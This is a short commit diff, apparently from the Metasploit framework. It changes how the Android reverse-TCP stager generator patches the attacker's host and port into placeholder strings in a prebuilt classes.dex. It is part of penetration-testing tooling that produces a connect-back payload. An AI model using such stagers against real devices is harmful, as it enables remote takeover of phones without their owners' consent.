make string replacement more robust

Author: timwr

modules/payloads/stagers/android/reverse_tcp.rb

@@ -36,8 +36,8 @@ def generate_jar(opts={})
 
     classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
 
-    string_sub(classes, '127.0.0.1                       ', datastore['LHOST'].to_s) if datastore['LHOST']
-    string_sub(classes, '4444                            ', datastore['LPORT'].to_s) if datastore['LPORT']
+    string_sub(classes, 'XXXX127.0.0.1                       ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
+    string_sub(classes, 'YYYY4444                            ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
     string_sub(classes, 'TTTT                                ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
     jar.add_file("classes.dex", fix_dex_header(classes))